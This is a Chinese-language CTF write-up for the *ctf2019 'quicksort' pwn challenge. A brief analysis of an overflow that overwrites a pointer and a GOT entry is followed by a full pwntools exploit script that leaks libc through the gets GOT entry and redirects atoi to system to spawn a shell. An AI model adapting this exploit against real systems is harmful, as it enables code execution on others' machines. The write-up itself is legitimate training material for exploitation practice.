*ctf2019-quicksort

leak基址+覆写GOT表

简单分析

在输入数字时,能够通过溢出覆盖ptr指针和控制i的大小。IDA分析发现,free_gotgets_got的后面,把ptr覆盖成gets_got的地址,i修改成1,这样实际上就把free_got修改成了main函数地址,并且由于并且对gets_got进行修改,排序完输出时就leak出来gets_got,得到了libc基址,再把atoi_got修改成system,之后输入/bin/sh即可获取shell。

leak出的地址是负数,自作聪明+0x100000000强行转成了正数,结果就是一直没做出来。赛后看了dalao们的wp才发现不需要这样做orz

EXP

1
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
main=0x080489C9
sh = process('./quicksort/quicksort')
#sh = remote('34.92.96.238',10000)
elf= ELF('./quicksort/quicksort')
libc= ELF('./quicksort/libc.so.6')
gets_got=elf.got['gets']
atoi_got=elf.got['atoi']
gets=libc.symbols['gets']
system=libc.symbols['system']
sh.recvuntil('sort?\n')
sh.sendline('1')
sh.recvuntil('number:')
sh.sendline(str(main)+'\x00'*7+p32(1)*3+p32(gets_got))
sh.recvuntil('result:\n')
leak=int(sh.recvline())
libcbase=leak-gets
sh.recvuntil('sort?\n')
sh.sendline('1')
sh.recvuntil('number:')
sh.sendline(str(libcbase+system)+'\x00'*6+p32(2)+p32(0)*2+p32(atoi_got))
sh.recvuntil('number:')
sh.sendline('/bin/sh\x00')
sh.interactive()
文章目录
  1. 1. 简单分析
  2. 2. EXP
|